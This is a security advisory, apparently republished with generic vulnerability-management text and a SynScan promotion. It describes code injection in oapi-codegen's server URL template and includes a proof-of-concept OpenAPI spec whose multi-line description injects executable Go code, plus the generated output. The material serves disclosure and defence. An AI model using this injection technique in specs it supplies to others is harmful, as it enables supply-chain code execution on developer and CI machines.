The vulnerability in oapi-codegen seems to be similar with CVE-2026-22785, which is a generated-code injection issue where untrusted OpenAPI summary text is embedded into generated TypeScript MCP server source without proper escaping. oapi-codegen has a similar vulnerability in its server URL generator: untrusted OpenAPI servers[].description text is inserted into a generated Go line comment without normalizing embedded newlines. A crafted description can break out of the comment, add imports through goimports, and emit executable Go declarations into the generated package.
> [!NOTE]
> A vulnerability like this requires that it is missed in code review and that you then call the malicious method.
>
> Using an init() function could be enough to not require a direct call to the code, and instead rely on you importing the package, but either way, code review should be performed before any oapi-codegen generated code is executed.
>
> We strongly recommend all users to be reviewing changes to their generated code before they execute anything within it, to protect against supply chain attacks or malicious injected code.
>
> This is also why we recommend oapi-codegen generated code is committed to source control.
The vulnerable sink is in pkg/codegen/templates/server-urls.tmpl.
// {{ .GoName }} defines the Server URL for {{ if len .OAPISchema.Description }}{{ .OAPISchema.Description }}{{ else }}{{ .OAPISchema.URL }}{{ end }}
const {{ .GoName}} = "{{ .OAPISchema.URL }}"
This template assumes the OpenAPI server description remains inside a single Go line comment. However, OpenAPI descriptions are attacker-controlled strings and may contain newlines. Once a newline is present, the next line is no longer part of the comment.
The same raw description is also used in the function form of server URL generation:
// New{{ .GoName }} constructs the Server URL for {{ .OAPISchema.Description }}, with the provided variables.
func New{{ .GoName }}({{ .NewServerFunctionParams }}) (string, error) {
Identifier generation does not protect this sink. In pkg/codegen/server_urls.go, the description is normalized only for the generated Go identifier:
suffix := server.Description
if suffix == "" {
suffix = nameNormalizer(server.URL)
}
name = serverURLPrefix + UppercaseFirstCharacter(suffix)
name = nameNormalizer(name)
The identifier is sanitized, but the raw server.Description is still rendered in the comment template. This leaves the code-generation context vulnerable.
The generated file is then formatted with goimports in pkg/codegen/codegen.go:
goCode := SanitizeCode(buf.String())
outBytes, err := imports.Process(opts.PackageName+".go", []byte(goCode), nil)
SanitizeCode only removes byte-order marks:
func SanitizeCode(goCode string) string {
return strings.ReplaceAll(goCode, "\uFEFF", "")
}
It does not escape comments, replace newlines, or otherwise serialize untrusted text for a Go source-code context. As a result, attacker-controlled source can be preserved and formatted as valid Go.
The attacker-controlled input is an OpenAPI document whose servers[].description contains a newline followed by Go declarations:
openapi: "3.0.0"
info:
title: oapi-codegen server URL description injection
version: "1.0.0"
servers:
- url: https://api.example.com
description: |
benign
var _ = func() int {
panic("oapi-codegen generated-code execution")
return 0
}()
//
paths: {}
Generate Go source with server URL generation enabled. No special local path or helper file is required for the vulnerability; the malicious description is copied into the generated source-code context.
The generated source contains attacker-controlled executable code:
// ServerUrlBenignvarFuncIntPanicOapiCodegenGeneratedCodeExecutionReturn0 defines the Server URL for benign
var _ = func() int {
panic("oapi-codegen generated-code execution")
return 0
}()
//
const ServerUrlBenignvarFuncIntPanicOapiCodegenGeneratedCodeExecutionReturn0 = "https://api.example.com"
An attacker who can supply or influence an OpenAPI document consumed by oapi-codegen can inject arbitrary Go source into the generated package. In common API-client/server generation workflows, this can lead to build-time or runtime code execution in developer machines, CI systems, or downstream applications that trust generated code.
| Software | From | Fixed in |
|---|---|---|
github.com/oapi-codegen/oapi-codegen/v2
|
- | 2.7.1 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.